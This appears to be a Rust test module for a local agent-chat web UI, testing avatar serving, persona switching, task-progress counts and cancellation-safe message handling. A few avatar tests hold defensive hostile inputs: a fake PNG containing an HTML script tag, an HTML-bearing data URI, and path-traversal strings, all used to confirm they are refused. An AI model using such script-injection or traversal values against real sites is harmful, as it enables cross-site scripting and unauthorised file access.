16115        (status, ct, nosniff, csp, body)
16116    }
16117
16118    fn tiny_png() -> Vec<u8> {
16119        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16120        b.extend_from_slice(&[0u8; 32]);
16121        b
16122    }
16123
16124    #[tokio::test]
16125    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16126        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16127        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16128        assert_eq!(res.status(), StatusCode::OK);
16129        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16130        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16131        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16132        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16133        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16134            .await
16135            .unwrap();
16136        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16137        assert_ne!(
16138            persona_icon::operator_svg(),
16139            persona_icon::builtin_svg("default")
16140        );
16141    }
16142
16143    #[tokio::test]
16144    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
16145        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
16146        for p in [
16147            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
16148        ] {
16149            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
16150            assert_eq!(status, StatusCode::OK, "{p}");
16151            assert_eq!(ct, "image/svg+xml", "{p}");
16152            assert!(nosniff && csp, "{p}");
16153            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
16154        }
16155        // No `persona` means the conversation's own; unknown ones fall back.
16156        let own = avatar(&ui, &id, None, false).await;
16157        let default = avatar(&ui, &id, Some("default"), false).await;
16158        assert_eq!(own.4, default.4);
16159        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
16160        assert_eq!(unknown.1, "image/svg+xml");
16161    }
16162
16163    #[tokio::test]
16164    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
16165        let dir = TempDir::new().expect("icons");
16166        let good = dir.path().join("good.png");
16167        std::fs::write(&good, tiny_png()).unwrap();
16168        let spoof = dir.path().join("spoof.png");
16169        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16170        let big = dir.path().join("big.png");
16171        let mut bytes = tiny_png();
16172        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16173        std::fs::write(&big, bytes).unwrap();
16174        let missing = dir.path().join("missing.png");
16175        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16176        let extra = format!(
16177            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16178             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16179             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16180             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16181             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16182             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16183            uri(&good),
16184            uri(&spoof),
16185            uri(&big),
16186            uri(&missing),
16187        );
16188        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16189
16190        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16191        assert_eq!(
16192            (status, ct.as_str(), nosniff),
16193            (StatusCode::OK, "image/png", true)
16194        );
16195        assert_eq!(body, tiny_png());
16196        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16197        assert_eq!(ct, "image/png", "data URI");
16198
16199        for p in ["misato", "asuka", "shinji", "magi"] {
16200            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16201            assert_eq!(
16202                (status, ct.as_str(), csp),
16203                (StatusCode::OK, "image/svg+xml", true),
16204                "{p}"
16205            );
16206            assert!(body.starts_with(b"<svg"), "{p}");
16207        }
16208        // The page's own retry skips the icon.
16209        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16210        assert_eq!(ct, "image/svg+xml");
16211    }
16212
16213    #[tokio::test]
16214    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16215        let oversized = format!(
16216            "data:image/png;base64,{}",
16217            "A".repeat(persona_icon::ICON_MAX_BYTES)
16218        );
16219        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16220            let extra = format!(
16221                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16222            );
16223            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16224            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16225                .await
16226                .expect("detail with invalid icon");
16227            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16228            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16229            assert_eq!(status, StatusCode::OK);
16230            assert_eq!(ct, "image/svg+xml");
16231            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16232            let Json(view) = talk_persona(
16233                State(Arc::clone(&ui)),
16234                Path(id.clone()),
16235                Json(TalkPersona {
16236                    persona: "custom".into(),
16237                }),
16238            )
16239            .await
16240            .expect("persona switch with invalid icon");
16241            assert_eq!(view.talk.persona, "custom");
16242            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16243        }
16244    }
16245
16246    #[tokio::test]
16247    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16248        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16249        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16250        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16251        assert_eq!(
16252            (status, ct.as_str(), nosniff, csp),
16253            (StatusCode::OK, "image/svg+xml", true, true)
16254        );
16255    }
16256
16257    #[tokio::test]
16258    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16259        let (_t, _h, ui, id, _repo) =
16260            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16261        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16262            .await
16263            .expect("detail");
16264        let json = serde_json::to_string(&detail).unwrap();
16265        assert!(
16266            !json.contains("secret"),
16267            "the icon setting must not leak: {json}"
16268        );
16269        assert!(
16270            detail
16271                .view
16272                .persona_avatar
16273                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16274        );
16275        assert_eq!(
16276            detail.view.operator_avatar,
16277            format!(
16278                "/avatars/operator.svg?v={}",
16279                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16280            )
16281        );
16282        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16283        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16284        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16285        assert!(rei.avatar.contains("persona=rei&v="));
16286        assert_ne!(
16287            rei.avatar.split("&v=").nth(1),
16288            plain.avatar.split("&v=").nth(1)
16289        );
16290    }
16291
16292    #[tokio::test]
16293    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16294        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16295        let cfg = config_for(&repo).await.unwrap();
16296        for arrived in [false, true] {
16297            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16298            let observed = ui.queued_generation(&id);
16299            let talk = ui.talks.get(&id).unwrap();
16300            if arrived {
16301                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16302            }
16303            let mut settling = std::pin::pin!(settle_settings_turn(
16304                talk,
16305                ui.talks.clone(),
16306                cfg.clone(),
16307                id.clone(),
16308                turn,
16309                observed
16310            ));
16311            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16312            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16313            assert_eq!(first.is_pending(), arrived);
16314            if arrived {
16315                assert!(!settling.await);
16316            }
16317            assert!(!ui.is_thinking(&id));
16318        }
16319    }
16320
16321    #[tokio::test]
16322    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16323        let tmp = TempDir::new().expect("tempdir");
16324        let repo = tmp.path().join("repo");
16325        std::fs::create_dir_all(&repo).expect("repo dir");
16326        std::fs::write(
16327            repo.join("magi.toml"),
16328            format!(
16329                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16330            ),
16331        )
16332        .expect("write magi.toml");
16333        let home = TempDir::new().expect("temp home");
16334        let talks = Talks::at(home.path().join("talks"));
16335        let ui = Arc::new(
16336            Ui::new(
16337                Queue::at(home.path().join("queue")),
16338                Questions::at(home.path().join("questions")),
16339                talks.clone(),
16340                home.path().join("runs"),
16341                home.path().to_path_buf(),
16342                repo.clone(),
16343            )
16344            .with_worktrees_root(home.path().join("wt")),
16345        );
16346        let cfg = config_for(&repo).await.expect("discover config");
16347        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16348        let id = talk.id.clone();
16349        let call = |persona: &str| {
16350            talk_persona(
16351                State(Arc::clone(&ui)),
16352                Path(id.clone()),
16353                Json(TalkPersona {
16354                    persona: persona.to_owned(),
16355                }),
16356            )
16357        };
16358
16359        let unknown = call("nobody").await.expect_err("unknown persona");
16360        assert_eq!(
16361            unknown.status,
16362            StatusCode::BAD_REQUEST,
16363            "{}",
16364            unknown.message
16365        );
16366
16367        {
16368            // Nothing refused so far took a claim, so the guard is free to take
16369            // and holding it is what makes the talk busy.
16370            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16371            let busy = call("rei").await.expect_err("busy talk");
16372            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16373            assert!(
16374                busy.message.contains("a talk turn is running"),
16375                "{}",
16376                busy.message
16377            );
16378            drop(guard);
16379        }
16380        assert_eq!(talks.get(&id).expect("reload").persona, "");
16381
16382        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16383        assert_eq!(view.talk.persona, "gendo");
16384        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16385        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16386        // No intervening I/O or sleep may be needed before another change.
16387        for chosen in ["default", "gendo", "rei", "gendo"] {
16388            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16389            assert!(!view.thinking);
16390            assert!(!ui.is_thinking(&id));
16391        }
16392
16393        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16394            .await
16395            .expect("detail");
16396        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16397        assert_eq!(ids.first(), Some(&"default"));
16398        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16399
16400        let Json(view) = call("default").await.expect("back to default");
16401        assert_eq!(view.talk.persona, "");
16402
16403        let mut closed = talks.get(&id).expect("reload");
16404        talk::close(&mut closed, &talks).expect("close");
16405        let refused = call("rei").await.expect_err("closed talk");
16406        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16407        assert!(
16408            refused.message.contains("takes no more turns"),
16409            "{}",
16410            refused.message
16411        );
16412    }
16413
16414    #[tokio::test]
16415    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16416        let f = Fixture::start().await;
16417        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16418        let queue = f.queue();
16419        let mut mine = Task::new(
16420            "rename the loader".to_owned(),
16421            "rename the loader".to_owned(),
16422            PathBuf::from("/repo/magi"),
16423            Source::Agent {
16424                run: talk_id.clone(),
16425                node: "chat".to_owned(),
16426            },
16427        );
16428        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16429        assert_eq!(empty["task_progress"]["state"], "none");
16430        assert_eq!(empty["task_progress"]["total"], 0);
16431        queue.put(&mut mine).expect("file the task");
16432        let mut theirs = Task::new(
16433            "unrelated".to_owned(),
16434            "unrelated".to_owned(),
16435            PathBuf::from("/repo/magi"),
16436            Source::Human,
16437        );
16438        // A later task linked through origin_chat alone is outside this list.
16439        theirs.origin_chat = Some(talk_id.clone());
16440        queue.put(&mut theirs).expect("file the task");
16441
16442        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16443        assert_eq!(res.status, 200, "{}", res.body);
16444        let body = res.json();
16445        assert_eq!(
16446            body["status"], "open",
16447            "filing a task does not close a talk"
16448        );
16449        let tasks = body["tasks"].as_array().expect("tasks array");
16450        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16451        assert_eq!(tasks[0]["id"], mine.id);
16452        for status in [
16453            TaskStatus::Queued,
16454            TaskStatus::Running,
16455            TaskStatus::Held,
16456            TaskStatus::Failed,
16457            TaskStatus::Blocked,
16458            TaskStatus::Parked,
16459            TaskStatus::Done,
16460            TaskStatus::Queued,
16461        ] {
16462            mine.status = status;
16463            queue.put(&mut mine).expect("update status");
16464            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16465            let progress = &detail["task_progress"];
16466            assert_eq!(progress["total"], 1);
16467            assert_eq!(progress["counts"][status.as_str()], 1);
16468            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16469            assert_eq!(detail["status"], "open", "completion never closes the chat");
16470            if status == TaskStatus::Done {
16471                assert_eq!(progress["state"], "complete");
16472                assert_eq!(progress["done"], 1);
16473                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16474            } else {
16475                assert_eq!(progress["state"], "incomplete");
16476                assert_eq!(progress["done"], 0);
16477                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16478            }
16479        }
16480    }
16481
16482    #[test]
16483    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16484        let home = tempfile::tempdir().unwrap();
16485        let runs = home.path().join("runs");
16486        let queue = Queue::at(home.path().join("queue"));
16487        let talks = Talks::at(home.path().join("talks"));
16488        let config = stub_config();
16489        let repo = PathBuf::from("/repo/magi");
16490        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16491        let reserve_run = |repo| {
16492            let mut run = RunState::new(
16493                repo,
16494                "main".into(),
16495                "0000000".into(),
16496                "Follow the review".into(),
16497                config.clone(),
16498            );
16499            run.reserve_under(home.path()).unwrap();
16500            run
16501        };
16502        let older = reserve_run(repo.clone());
16503        let newer = reserve_run(repo.clone());
16504        let foreign = reserve_run(PathBuf::from("/repo/other"));
16505        let mismatched = reserve_run(repo.clone());
16506        let corrupt = reserve_run(repo.clone());
16507        let run_file = |id: &str| runs.join(id).join("run.json");
16508        std::fs::write(
16509            run_file(&mismatched.id),
16510            serde_json::to_vec(&older).unwrap(),
16511        )
16512        .unwrap();
16513        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16514        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16515            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16516                "id": "g", "purpose": "Follow the review", "scope": "review",
16517                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16518                "state": "waiting", "step": "Follow the recorded review",
16519                "source_turn": 0, "owner_input": "Follow the review",
16520                "tasks": tasks, "runs": runs, "watches": [],
16521                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16522                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16523            }))
16524            .unwrap()
16525        };
16526        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16527
16528        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16529        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16530
16531        let unusable = vec![
16532            foreign.id.clone(),
16533            mismatched.id.clone(),
16534            corrupt.id.clone(),
16535            "missing".into(),
16536            "../escape".into(),
16537        ];
16538        let mut references = vec![older.id.clone()];
16539        references.extend(unusable.clone());
16540        talk.goals = vec![goal(vec![], references)];
16541        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16542
16543        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16544        assert_eq!(link(&talk), None);
16545
16546        let mut task = Task::new(
16547            "Review".into(),
16548            "Follow the review".into(),
16549            repo,
16550            Source::Human,
16551        );
16552        queue.put(&mut task).unwrap();
16553        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16554        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16555
16556        task.runs.push(older.id.clone());
16557        queue.put(&mut task).unwrap();
16558        assert_eq!(link(&talk), Some(("run", older.id)));
16559    }
16560
16561    #[test]
16562    fn talk_task_progress_counts_mixed_statuses() {
16563        let mut tasks: Vec<_> = [
16564            TaskStatus::Queued,
16565            TaskStatus::Running,
16566            TaskStatus::Held,
16567            TaskStatus::Failed,
16568            TaskStatus::Blocked,
16569            TaskStatus::Parked,
16570            TaskStatus::Done,
16571        ]
16572        .into_iter()
16573        .map(|status| {
16574            let mut task = Task::new(
16575                "task".into(),
16576                "task".into(),
16577                PathBuf::from("/repo"),
16578                Source::Human,
16579            );
16580            task.status = status;
16581            task
16582        })
16583        .collect();
16584        let progress = talk_task_progress(&tasks);
16585        assert_eq!(progress.state, "incomplete");
16586        assert_eq!(progress.total, 7);
16587        assert_eq!(progress.done, 1);
16588        assert_eq!(progress.unfinished_ids.len(), 6);
16589        assert!(progress.counts.values().all(|count| *count == 1));
16590        assert_eq!(
16591            progress.unfinished_ids,
16592            tasks[..6]
16593                .iter()
16594                .map(|task| task.id.clone())
16595                .collect::<Vec<_>>()
16596        );
16597
16598        for task in &mut tasks {
16599            task.status = TaskStatus::Done;
16600        }
16601        let complete = talk_task_progress(&tasks);
16602        assert_eq!(complete.state, "complete");
16603        assert_eq!(complete.done, 7);
16604        assert!(complete.unfinished_ids.is_empty());
16605        tasks[0].status = TaskStatus::Queued;
16606        let requeued = talk_task_progress(&tasks);
16607        assert_eq!(requeued.state, "incomplete");
16608        assert_eq!(requeued.done, 6);
16609        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16610
16611        let empty = talk_task_progress(&[]);
16612        assert_eq!(empty.state, "none");
16613        assert_eq!(empty.total, 0);
16614        assert_eq!(empty.done, 0);
16615        assert!(empty.unfinished_ids.is_empty());
16616        assert!(empty.counts.values().all(|count| *count == 0));
16617    }
16618
16619    #[tokio::test]
16620    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16621        let (_tmp, _repo, f) = talk_fixture().await;
16622        let id = f.post("/api/talks", None).await.json()["id"]
16623            .as_str()
16624            .expect("id")
16625            .to_owned();
16626
16627        let res = f
16628            .post(
16629                &format!("/api/talks/{id}/say"),
16630                Some(r#"{"text":"what does the queue module do?"}"#),
16631            )
16632            .await;
16633        assert_eq!(res.status, 202, "{}", res.body);
16634        let queued = res.json();
16635        let turns = queued["turns"].as_array().expect("turns array");
16636        assert_eq!(
16637            turns.len(),
16638            1,
16639            "the answer reflects only what is on disk the instant it is sent, \
16640             before the agent's turn - which can run for the whole of \
16641             `[graph] timeout_talk` - has a chance to land: {queued}"
16642        );
16643        assert_eq!(turns[0]["who"], "operator");
16644        assert_eq!(turns[0]["body"], "what does the queue module do?");
16645        assert_eq!(
16646            queued["thinking"], true,
16647            "the accepted response exposes the background turn claim: {queued}"
16648        );
16649
16650        let mut turns_after = 1;
16651        for _ in 0..SETTLE_STEPS {
16652            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16653            turns_after = detail["turns"].as_array().expect("turns array").len();
16654            if turns_after == 2 {
16655                break;
16656            }
16657            tokio::time::sleep(Duration::from_millis(10)).await;
16658        }
16659        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16660    }
16661
16662    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16663    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16664    /// guards against: `talk::record` used to return, and only *then* did the
16665    /// handler make a second, separate disk round trip before spawning the
16666    /// agent's reply task. A future dropped in that gap left a message
16667    /// recorded on disk with no reply task ever started and no way back short
16668    /// of a fresh message - and the gap was not even the whole story: *any*
16669    /// `.await` in this handler, including the very first one, is a point
16670    /// where a drop can land after the awaited work already finished but
16671    /// before this handler's own code resumes to act on it. `record` now
16672    /// runs inside the task `tokio::spawn` hands to the runtime before this
16673    /// handler ever awaits anything of its own again, so there is nothing
16674    /// left in *this* handler's future for a disconnect to interrupt between
16675    /// the message landing on disk and the reply task starting.
16676    ///
16677    /// A real socket disconnect cannot be relied on to land in the old gap
16678    /// from a test - over loopback, `talk_say` typically finishes before the
16679    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16680    /// same failure mode directly: it drops the task's future at whatever
16681    /// point it has reached, exactly what axum does to the handler future,
16682    /// without needing to win a real network race. Sweeping the delay before
16683    /// aborting samples a range of points the task's execution can be at,
16684    /// including where the old code sat waiting on its second disk round
16685    /// trip - confirmed by reverting this fix locally and watching this same
16686    /// sweep catch a talk stuck with the operator's turn recorded and no
16687    /// reply ever following.
16688    #[tokio::test]
16689    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16690        let tmp = TempDir::new().expect("tempdir");
16691        let repo = tmp.path().join("repo");
16692        std::fs::create_dir_all(&repo).expect("repo dir");
16693        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16694        let home = TempDir::new().expect("temp home");
16695        let talks = Talks::at(home.path().join("talks"));
16696        let ui = Arc::new(
16697            Ui::new(
16698                Queue::at(home.path().join("queue")),
16699                Questions::at(home.path().join("questions")),
16700                talks.clone(),
16701                home.path().join("runs"),
16702                home.path().to_path_buf(),
16703                repo.clone(),
16704            )
16705            .with_worktrees_root(home.path().join("wt")),
16706        );
16707        let cfg = config_for(&repo).await.expect("discover config");
16708
16709        for delay in 0..40u32 {
16710            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16711            let id = talk.id.clone();
16712
16713            let handler = tokio::spawn(talk_say(
16714                State(Arc::clone(&ui)),
16715                Path(id.clone()),
16716                Ok(Json(NewTalkTurn {
16717                    reply_to: None,
16718                    text: "what does the queue module do?".to_owned(),
16719                    attachments: Vec::new(),
16720                })),
16721            ));
16722            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16723            handler.abort();
16724            // Wait out the abort so the next iteration's talk does not race
16725            // this one's still-unwinding turn guard.
16726            let _ = handler.await;
16727
16728            let mut turns = 0;
16729            for _ in 0..SETTLE_STEPS {
16730                if let Ok(fresh) = talks.get(&id) {
16731                    turns = fresh.turns.len();
16732                    if turns != 1 {
16733                        break;
16734                    }
16735                }
16736                tokio::time::sleep(Duration::from_millis(10)).await;
16737            }
16738            assert_ne!(
16739                turns, 1,
16740                "delay {delay}: talk {id} recorded the operator's turn but \
16741                 the agent never answered - the reply task was never \
16742                 started after the handler future was dropped"
16743            );
16744        }
16745    }
16746
16747    /// The same drop, landing on `talk_say`'s other durable write.
16748    ///
16749    /// When a turn is already running, the busy branch persists the
16750    /// operator's text as a queued draft and then reclaims the turn slot if
16751    /// the holder gave it up in the meantime - and whoever reclaims owes that
16752    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16753    /// which finishes whether or not the future awaiting it is still there,
16754    /// so a handler dropped at that `.await` used to leave the draft written
16755    /// to disk with the reclaimed guard dropped unread and no drainer ever
16756    /// started: the message sat queued until some unrelated later `say`
16757    /// happened to pick it up.
16758    ///
16759    /// This used to drive the handler future by hand, polling it a fixed
16760    /// number of times to park it at the `.await` where it asks for the turn
16761    /// and finds it busy, before the reclaim's slot-free case could be set up
16762    /// underneath it. That assumed a fixed number of polls lands at a fixed
16763    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16764    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16765    /// poll, so any number of this handler's several `blocking` awaits can
16766    /// collapse into one poll under load, landing the drive somewhere other
16767    /// than intended - including, occasionally, straight past the handler's
16768    /// own completion, which made polling it again panic with "async fn
16769    /// resumed after completion". No poll count fixes that; the handler's
16770    /// progress simply is not something a caller outside it can observe by
16771    /// counting.
16772    ///
16773    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16774    /// inside the write itself, so the interleaving under test is pinned by
16775    /// an event instead of a guess: the gate fires only once the handler has
16776    /// actually decided `Busy` and is about to persist the draft, and it
16777    /// blocks that write until the test lets it through. Between those two
16778    /// moments the test drains the turn the handler found busy - through
16779    /// `drain_loop`, the protocol's other half - and then aborts the handler
16780    /// task outright, the same way axum drops a disconnected request's
16781    /// future. The write, and the reclaim it may do, run to completion
16782    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16783    /// to the runtime before ever touching the gate, wholly independent of
16784    /// whether the handler that started it is still around - which is what
16785    /// this test is actually checking. A drainer other than that reclaim
16786    /// cannot exist here: the test's own `drain_loop` call happens before the
16787    /// gate opens, so it runs while the queue is still empty and hands the
16788    /// turn straight back rather than draining anything, closing off the
16789    /// possibility of the final assertion passing without the reclaim ever
16790    /// having done its job.
16791    #[tokio::test]
16792    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16793        let tmp = TempDir::new().expect("tempdir");
16794        let repo = tmp.path().join("repo");
16795        std::fs::create_dir_all(&repo).expect("repo dir");
16796        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16797        let home = TempDir::new().expect("temp home");
16798        let talks = Talks::at(home.path().join("talks"));
16799        let ui = Arc::new(
16800            Ui::new(
16801                Queue::at(home.path().join("queue")),
16802                Questions::at(home.path().join("questions")),
16803                talks.clone(),
16804                home.path().join("runs"),
16805                home.path().to_path_buf(),
16806                repo.clone(),
16807            )
16808            .with_worktrees_root(home.path().join("wt")),
16809        );
16810        let cfg = config_for(&repo).await.expect("discover config");
16811        // Both waits guard against hangs, not slow filesystem or Git work on
16812        // a loaded test host. The gates and lock polls assert the ordering.
16813        let hang_guard = Duration::from_secs(30);
16814
16815        for attempt in 0..3u32 {
16816            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16817            let id = talk.id.clone();
16818            // A turn is already running, which is what sends `talk_say` down
16819            // the busy branch.
16820            let turn_guard = ui
16821                .begin_talk_turn(&id)
16822                .expect("claim the turn")
16823                .expect("a fresh talk owes nobody a turn");
16824
16825            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16826            let (release_tx, release_rx) = std::sync::mpsc::channel();
16827            ui.set_busy_queue_gate(BusyQueueGate {
16828                reached: reached_tx,
16829                release: release_rx,
16830            });
16831
16832            let handler = tokio::spawn(talk_say(
16833                State(Arc::clone(&ui)),
16834                Path(id.clone()),
16835                Ok(Json(NewTalkTurn {
16836                    reply_to: None,
16837                    text: "what does the queue module do?".to_owned(),
16838                    attachments: Vec::new(),
16839                })),
16840            ));
16841
16842            // Wait for the busy branch to actually reach the gate, rather
16843            // than for any fixed number of polls of anything - a bounded
16844            // wait rather than a bare `.await` so a regression that never
16845            // reaches the gate fails the test instead of hanging it.
16846            tokio::time::timeout(hang_guard, reached_rx)
16847                .await
16848                .unwrap_or_else(|_| {
16849                    panic!(
16850                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16851                    )
16852                })
16853                .expect("the busy branch dropped the gate without using it");
16854            assert!(
16855                crate::chat_worker::try_publication_guard(&talks, &id)
16856                    .expect("publication fence")
16857                    .is_none(),
16858                "a queued worker cannot promote text before its successor reservation is published"
16859            );
16860
16861            // A listener replacement queues its writer behind this accepted
16862            // mutation. Even disconnecting the HTTP caller must not release
16863            // admission before the write-to-worker handoff has completed.
16864            let closing = Arc::clone(&ui.admissions).write_owned();
16865            tokio::pin!(closing);
16866            std::future::poll_fn(|cx| {
16867                assert!(closing.as_mut().poll(cx).is_pending());
16868                std::task::Poll::Ready(())
16869            })
16870            .await;
16871            assert!(
16872                ui.begin_admission().is_err(),
16873                "replacement blocks later admissions"
16874            );
16875
16876            // The turn that was running now finishes and gives the slot up
16877            // the way a real one does - through `drain_loop`, which finds
16878            // nothing queued yet (the write is still held at the gate) and
16879            // releases. The handler, parked inside `spawn_blocking` on the
16880            // other side of the gate, still believes the talk is busy -
16881            // exactly the interleaving the reclaim exists for.
16882            let running = talks.get(&id).expect("reload talk");
16883            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16884
16885            // Drop the handler future now, the way a reloading phone drops
16886            // it: suspended waiting on the busy branch's answer, having
16887            // itself made no more progress since it handed the write off.
16888            handler.abort();
16889            let _ = handler.await;
16890            std::future::poll_fn(|cx| {
16891                assert!(
16892                    closing.as_mut().poll(cx).is_pending(),
16893                    "HTTP cancellation must not abandon a publishing transaction"
16894                );
16895                std::task::Poll::Ready(())
16896            })
16897            .await;
16898            assert!(
16899                crate::chat_worker::try_publication_guard(&talks, &id)
16900                    .expect("publication fence after disconnect")
16901                    .is_none()
16902            );
16903
16904            // Only now let the gated write proceed. It persists the draft
16905            // and reclaims the now-free slot from inside the task the busy
16906            // branch already spawned - unaffected by the handler's abort
16907            // above, since that task was independent of the handler's own
16908            // future from the moment it was spawned.
16909            release_tx.send(()).expect("busy queue write still gated");
16910            drop(
16911                tokio::time::timeout(hang_guard, closing)
16912                    .await
16913                    .unwrap_or_else(|_| {
16914                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16915                    }),
16916            );
16917            assert!(
16918                crate::chat_worker::try_publication_guard(&talks, &id)
16919                    .expect("publication fence after acknowledgement")
16920                    .is_some(),
16921                "the publication fence is not retained by the long response"
16922            );
16923
